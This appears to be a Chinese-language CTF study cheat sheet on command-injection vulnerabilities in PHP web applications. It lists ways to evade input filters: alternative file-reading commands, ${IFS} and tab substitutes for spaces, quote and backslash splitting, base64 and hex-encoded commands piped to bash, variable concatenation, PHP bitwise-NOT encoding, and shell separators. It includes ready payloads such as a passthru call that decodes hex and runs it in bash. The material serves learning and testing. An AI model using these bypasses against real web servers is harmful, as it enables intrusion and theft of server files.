目录
目录
1.单双引号反斜杠保住命令,如"l"'s','和"称为连接符,用来连接字符串,l``s
3.base64,ASCII,shellcode编码绕过,例如过滤cat
命令执行漏洞简介
命令执行漏洞就是黑客可以直接在web应用中执行系统命令,从而获取敏感信息或者拿下shell权限。
命令执行漏洞成因命令执行漏洞形成的原因是web服务器对用户输入的命令安全监测不足,导致恶意代码被执行。
接下来是各种命令执行的绕过技巧
1. linux读取命令
cat
tac tac命令的功能是用于反向显示文件内容.也就是说,当我们使用tac命令查看文件内容时,最先显示的是最后一行,倒数第二行,倒数第三行,以此类推到最后显示原本文件的第一行内容。
head head命令的功能是显示文件开头的内容,默认为前10行。
more
less
tail
od od命令会读取所给予的文件的内容,并将其内容以八进制字码呈现出来。
nl
uniq
sort
rev
2.空格
` 1.重定向符,文件读取时,可用cat<>flag.php,单独使用<似乎也可以`
`2.${IFS},$IFS$9,$IFS
${IFS}:
$IFS$9:
`3.控制字符代替,%09(tab),%0a`
`4.字符串截取空格,例如ctfshow=aabbcc,${ctfshow}=aabbcc,${ctfshow:2}=bbcc,${ctfshow:4:1}=c,有理论基础就可以通过已经定义的环境变量来构造字符串。`
5.在bash下还可以使用{cmd,args}`,例如{cat,text}
3.常见的命令执行函数
system():执行外部函数,并且显示输出
passthru():执行外部程序并且显示原始输出
shell_exec(): 通过shell执行命令并将完整的输出以字符串的方式返回
exec():执行外部函数:
针对exec()无回显函数,可以执行ls /|tee 1.txt,将内容保存到1.txt中,然后访问
4.字符过滤
1.单双引号反斜杠保住命令,如"l"'s','和"称为连接符,用来连接字符串,l``s
2.使用通配符? *例如:cat *.txt
3.base64,ASCII,shellcode编码绕过,例如过滤cat
base64:
echo t|base64,将t转为base64编码
ca$(echo 'dAo'|base64 -d) 1.txt
ACSII码:
import binascii
s = b"tac flag"
h = binascii.b2a_hex(s)
print(h)
echo "74616320666c61672e706870" |xxd -r -p|bash
?cmd=passthru('echo "74616320666c61672e706870"|xxd -r -p|bash');
shellcode:
例如: echo "\x63\x61\x74\x20\x31\x2e\x74\x78\x74"|bash
`(echo "\x63\x61\x74\x20\x31\x2e\x74\x78\x74")`,反引号执行()里的命令
4.拼接命令实现过滤例如#cat flag.php
a=ca;b=t;m=flag;n=.php;$a$b $m$n
5.使用环境变量
6.ban掉括号使用反引号实现通杀解
cat `echo `1.txt``
echo `1.txt`|base64
cat `echo 'MSS0eHQK'|base64 -d`
7.使用换行符\
例如执行命令 ca\t 1.t\xt
8.无回显函数执行
使用延时函数,例如ls|sleep 3
9.未定义的初始化变量(空变量)
cat 1.t${x}xt
10.printf绕过(字符串进制绕过)
\NNN 八进制数 NNN 所代表的 ASCII 码字符。
\xHH 十六进制 HH 对应的8位字符。HH 可以是一到两位。
\uHHHH 十六进制 HHHH 对应的 Unicode 字符。HHHH 一到四位。
\UHHHHHHHH十六进制 HHHHHHHH 对应的 Unicode 字符。HHHHHHHH 一到八位
5.取反绕过
php代码:
<?php
echo urlencode(~"system");
print("\n");
echo urlencode(~"cat /f*");
6.windows 和 linux 管道符
windows
| 直接执行后面的命令。
|| 前面执行的命令执行出错才执行后面的语句。
& 前面的语句无论真假都可以执行后面的语句。(无条件执行后面的语句,推荐使用。)
&& 前面语句为真才能执行后面的语句。
linux
Linux系统支持的管道符:
| 显示后面语句的执行结果。
; 执行完前面的语句再执行后面的。
|| 前面语句执行错误才执行后面的语句。
& 前面语句无论真假都会执行后面的语句。(无条件执行后面的语句,推荐使用。)
&& 前面的语句为真才能执行后面的语句。